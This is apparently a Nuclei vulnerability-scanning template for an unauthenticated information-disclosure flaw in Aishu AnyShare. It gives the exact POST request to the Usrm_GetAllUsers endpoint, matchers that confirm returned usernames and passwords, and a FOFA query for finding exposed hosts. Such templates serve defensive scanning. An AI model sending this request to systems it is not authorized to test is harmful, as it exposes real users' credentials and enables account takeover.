id: aishu-anyshare-info-exposure

info:
  name: Aishu AnyShare - Information Disclosure
  author: s4e-io
  severity: high
  description: |
    Aishu AnyShare intelligent content management platform Usrm_GetAllUsers interface has an information disclosure vulnerability, and unauthenticated attackers can obtain sensitive information such as usernames and passwords. You can log in to the background and put the system in a highly insecure state.
  remediation: |
    Ensure that the endpoint is protected and only accessible by authenticated and authorized users. Implement proper access controls and validate user permissions.
  reference:
    - https://cn-sec.com/archives/3431184.html
  metadata:
    verified: true
    max-request: 1
    vendor: aishu
    product: anyshare
    fofa-query: app="AISHU-AnyShare"
  tags: aishu-anyshare,info-leak,disclosure,vuln

http:
  - raw:
      - |
        POST /api/ShareMgnt/Usrm_GetAllUsers HTTP/1.1
        Host: {{Hostname}}

        [1,100]

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "directDeptInfo\":", "loginName\":", "password\":", "createTime\":")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022008c45a182251bbbf4d1e29e6fcbaf561c690c22f14ca9e29d589545ed469c70f02206ba9efd638f4365ae178b8fe136651c22f40d4c5484d67626e40cc17a3601375:922c64590222798bb761d5b6d8e72950